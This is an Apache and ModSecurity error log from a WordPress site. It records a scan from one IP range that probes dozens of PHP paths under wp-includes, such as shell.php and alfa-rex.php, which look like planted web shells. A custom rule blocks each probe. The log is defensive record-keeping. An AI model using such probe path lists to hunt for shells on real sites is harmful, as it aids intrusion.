[Wed Apr 15 05:13:26.714384 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.197:27705] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "ad6t9q3iO9_fE_IQEMkZigAAAQE"]
[Wed Apr 15 05:13:30.923440 2026] [:error] [pid 45504:tid 45517] [client 45.131.195.204:37407] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "ad6t-q3iO9_fE_IQEMkZogAAAQs"]
[Wed Apr 15 05:13:33.961378 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.154:49731] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "ad6t_a3iO9_fE_IQEMkZtQAAAQM"]
[Wed Apr 15 05:13:36.782900 2026] [:error] [pid 4067:tid 4151] [client 45.131.195.197:55903] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "ad6uAO5XHBJU8ZrRxZ0qVAAAAJQ"]
[Wed Apr 15 05:13:37.945553 2026] [proxy_fcgi:error] [pid 4065:tid 4079] [client 45.131.195.170:49313] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/rcacivils/public_html/wp-admin/includes/admin.php:16\nStack trace:\n#0 {main}\n  thrown in /home/rcacivils/public_html/wp-admin/includes/admin.php on line 16'
[Wed Apr 15 05:13:40.461317 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.174:38379] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/chosen.php"] [unique_id "ad6uBK3iO9_fE_IQEMkZyQAAAQY"]
[Wed Apr 15 05:13:48.622549 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.166:29621] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugin.php"] [unique_id "ad6uDK3iO9_fE_IQEMkZ-AAAAQ0"]
[Wed Apr 15 05:13:49.927184 2026] [:error] [pid 4066:tid 4110] [client 45.131.195.170:45259] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "ad6uDYC2YXfSPsC9O_BdnQAAAEY"]
[Wed Apr 15 05:13:55.774882 2026] [:error] [pid 4065:tid 4083] [client 45.131.195.116:49965] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "ad6uEwWArgJTHu2_6Oy9HAAAAAc"]
[Wed Apr 15 05:14:01.730060 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.141:44875] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "ad6uGa3iO9_fE_IQEMkaGgAAAQ8"]
[Wed Apr 15 05:14:07.039787 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.169:53343] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/litespeed.php"] [unique_id "ad6uHx15U5D-N99n_jJs0wAAAMw"]
[Wed Apr 15 05:14:10.245557 2026] [:error] [pid 4066:tid 4114] [client 45.131.195.161:30799] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "ad6uIoC2YXfSPsC9O_Bd0wAAAEo"]
[Wed Apr 15 05:14:13.013184 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.160:32521] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "ad6uJa3iO9_fE_IQEMkaQQAAARI"]
[Wed Apr 15 05:14:15.767756 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.160:23751] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "ad6uJ63iO9_fE_IQEMkaTAAAAQ0"]
[Wed Apr 15 05:14:22.374305 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.197:37969] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "ad6uLoC2YXfSPsC9O_Bd-AAAAEk"]
[Wed Apr 15 05:14:27.083352 2026] [:error] [pid 4065:tid 4083] [client 45.131.195.184:48271] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "ad6uMwWArgJTHu2_6Oy9QAAAAAc"]
[Wed Apr 15 05:14:28.262715 2026] [proxy_fcgi:error] [pid 45504:tid 45520] [client 45.131.195.139:41867] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:14:28.547938 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.139:41867] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/shell.php"] [unique_id "ad6uNK3iO9_fE_IQEMkaegAAARE"]
[Wed Apr 15 05:14:29.579545 2026] [:error] [pid 4067:tid 4149] [client 45.131.195.145:59281] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "ad6uNe5XHBJU8ZrRxZ0qrwAAAJI"]
[Wed Apr 15 05:14:34.411444 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.144:21039] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "ad6uOq3iO9_fE_IQEMkajgAAARA"]
[Wed Apr 15 05:14:34.896315 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.251:56993] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "ad6uOq3iO9_fE_IQEMkakAAAAQM"]
[Wed Apr 15 05:14:42.295316 2026] [:error] [pid 4067:tid 4139] [client 45.131.195.189:63563] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-2019.php"] [unique_id "ad6uQu5XHBJU8ZrRxZ0q2AAAAIg"]
[Wed Apr 15 05:14:43.105072 2026] [:error] [pid 4067:tid 4150] [client 45.131.195.129:31751] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "ad6uQ-5XHBJU8ZrRxZ0q2gAAAJM"]
[Wed Apr 15 05:14:45.805072 2026] [:error] [pid 4065:tid 4081] [client 45.131.195.151:56637] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/log.php"] [unique_id "ad6uRQWArgJTHu2_6Oy9UwAAAAU"]
[Wed Apr 15 05:14:46.790033 2026] [:error] [pid 4065:tid 4082] [client 45.131.195.161:57009] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "ad6uRgWArgJTHu2_6Oy9VQAAAAY"]
[Wed Apr 15 05:14:47.912917 2026] [:error] [pid 4169:tid 4195] [client 45.131.195.135:52271] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "ad6uRx15U5D-N99n_jJs_gAAANQ"]
[Wed Apr 15 05:14:48.969431 2026] [:error] [pid 4169:tid 4188] [client 45.131.195.170:27275] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/aw.php"] [unique_id "ad6uSB15U5D-N99n_jJtAwAAAM8"]
[Wed Apr 15 05:14:54.937848 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.145:38369] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/db.php"] [unique_id "ad6uTh15U5D-N99n_jJtGAAAANA"]
[Wed Apr 15 05:14:55.804547 2026] [:error] [pid 45504:tid 45508] [client 45.131.195.184:49285] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/install.php"] [unique_id "ad6uT63iO9_fE_IQEMka0QAAAQI"]
[Wed Apr 15 05:14:59.242670 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.134:64047] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/install.php"] [unique_id "ad6uU63iO9_fE_IQEMka5AAAAQA"]
[Wed Apr 15 05:15:01.305941 2026] [:error] [pid 4067:tid 4149] [client 45.131.195.130:45255] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "ad6uVe5XHBJU8ZrRxZ0q-AAAAJI"]
[Wed Apr 15 05:15:05.581961 2026] [:error] [pid 4066:tid 4109] [client 45.131.195.139:25121] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/template-less.php"] [unique_id "ad6uWYC2YXfSPsC9O_BeKwAAAEU"]
[Wed Apr 15 05:15:06.265501 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.197:37719] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "ad6uWq3iO9_fE_IQEMka9gAAAQU"]
[Wed Apr 15 05:15:17.231076 2026] [:error] [pid 4067:tid 4151] [client 45.131.195.130:30601] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/min.php"] [unique_id "ad6uZe5XHBJU8ZrRxZ0rTgAAAJQ"]
[Wed Apr 15 05:15:18.250107 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.165:29333] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-conflg.php"] [unique_id "ad6uZh15U5D-N99n_jJtQAAAAMw"]
[Wed Apr 15 05:15:21.871206 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.191:59361] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/file.php"] [unique_id "ad6uaR15U5D-N99n_jJtTgAAAMc"]
[Wed Apr 15 05:15:24.360527 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.120:22103] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "ad6ubK3iO9_fE_IQEMkbLQAAAQY"]
[Wed Apr 15 05:15:26.330381 2026] [:error] [pid 4065:tid 4100] [client 45.131.195.197:64521] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/load.php"] [unique_id "ad6ubgWArgJTHu2_6Oy9aQAAABg"]
[Wed Apr 15 05:15:27.345402 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.190:62851] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "ad6ub63iO9_fE_IQEMkbOwAAARA"]
[Wed Apr 15 05:15:28.435225 2026] [:error] [pid 4065:tid 4085] [client 45.131.195.159:26915] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "ad6ucAWArgJTHu2_6Oy9awAAAAk"]
[Wed Apr 15 05:15:33.745289 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.159:43543] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "ad6uda3iO9_fE_IQEMkbVAAAAQk"]
[Wed Apr 15 05:15:36.614615 2026] [:error] [pid 4067:tid 4142] [client 45.131.195.184:27347] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "ad6ueO5XHBJU8ZrRxZ0ruQAAAIs"]
[Wed Apr 15 05:15:40.466889 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.165:26435] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "ad6ufK3iO9_fE_IQEMkbfQAAARc"]
[Wed Apr 15 05:15:41.473138 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.176:31615] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "ad6ufR15U5D-N99n_jJtaQAAAMA"]
[Wed Apr 15 05:15:42.485570 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.131:49281] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "ad6ufq3iO9_fE_IQEMkbggAAAQ8"]
[Wed Apr 15 05:15:56.728039 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.150:30337] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/system.php"] [unique_id "ad6ujB15U5D-N99n_jJtjwAAANY"]
[Wed Apr 15 05:15:58.998410 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.146:52941] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "ad6ujq3iO9_fE_IQEMkbzwAAAQA"]
[Wed Apr 15 05:16:02.908448 2026] [:error] [pid 4065:tid 4076] [client 45.131.195.151:42989] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "ad6ukgWArgJTHu2_6Oy9iAAAAAA"]
[Wed Apr 15 05:16:03.926569 2026] [:error] [pid 4065:tid 4092] [client 45.131.195.171:52069] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/simi.php"] [unique_id "ad6ukwWArgJTHu2_6Oy9iQAAABA"]
[Wed Apr 15 05:16:05.327446 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.139:33841] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "ad6ulR15U5D-N99n_jJtmAAAAMw"]
[Wed Apr 15 05:16:09.009668 2026] [:error] [pid 4066:tid 4121] [client 45.131.195.129:24479] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "ad6umYC2YXfSPsC9O_BefQAAAFE"]
[Wed Apr 15 05:16:17.885449 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.155:28941] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ms-pie.php"] [unique_id "ad6uoR15U5D-N99n_jJtqgAAAMg"]
